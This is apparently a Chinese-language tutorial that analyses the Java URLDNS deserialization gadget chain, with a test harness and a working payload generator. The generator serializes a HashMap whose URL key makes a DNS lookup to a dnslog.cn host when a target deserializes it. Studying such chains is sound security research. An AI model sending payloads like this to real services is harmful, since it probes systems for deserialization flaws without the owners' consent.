URLDNS链
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream;
public class UnserializeTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static void main(String[] args) throws Exception{ unserialize("ser.bin"); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap;
public class URLDNSTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { HashMap<URL,Integer> hashmap=new HashMap<>(); URL url = new URL("http://7muliu.dnslog.cn"); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); hashcodefield.setAccessible(true); hashcodefield.set(url,1); hashmap.put(url,1); hashcodefield.set(url,-1); serialize(hashmap); } }
|
分析
这条链调用的目标是URL
类的hashcode
方法,通过getHostAddress
产生DNS请求。
入口类就是HashMap
,它的readObject
方法中调用了hash
函数

然后hash
函数中又调用了hashCode

然后下一步就是给HashMap
传入URL
类,这样就可以调用URL
的hash
,进一步调用URL
的hash
的hashCode
1 2
| HashMap<URL,Integer> hashmap=new HashMap<>(); URL url = new URL("http://7muliu.dnslog.cn");
|
这里填写好dns地址,然后实例化两个类的对象
HashMap
类的put
方法中有调用到hash
函数,同样会发起dns请求,为了不让序列化的过程中产生这个请求,需要把hashCode
的值改成非-1的值

1 2 3 4
| Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); hashcodefield.setAccessible(true); hashcodefield.set(url,1);
|
这里用反射获取URL
的原型类,然后获取hashCode
并设置值为1
1 2 3
| hashmap.put(url,1); hashcodefield.set(url,-1); serialize(hashmap);
|
put完之后再将hashCode
的值改回-1,然后序列化
最后解决几个问题
为什么入口类用HashMap
,不直接用URL
之前看过了HashMap
类的readObject
方法,下面看一下URL
的readObject
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| private synchronized void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { GetField gf = s.readFields(); String protocol = (String)gf.get("protocol", null); if (getURLStreamHandler(protocol) == null) { throw new IOException("unknown protocol: " + protocol); } String host = (String)gf.get("host", null); int port = gf.get("port", -1); String authority = (String)gf.get("authority", null); String file = (String)gf.get("file", null); String ref = (String)gf.get("ref", null); int hashCode = gf.get("hashCode", -1); if (authority == null && ((host != null && !host.isEmpty()) || port != -1)) { if (host == null) host = ""; authority = (port == -1) ? host : host + ":" + port; } tempState = new UrlDeserializedState(protocol, host, port, authority, file, ref, hashCode); }
|
他的readObject
类中没有有用的调用,虽然也有一个名字是hashCode
,但对应的值是一个变量,并不是目标函数,而我们的目标是URL
的hashCode
方法,恰好HashMap
的readObject
调用了hash
然后调用了hashCode
,然后把URL
类的对象url
传入HashMap
,就等于调用了URL
类的hashCode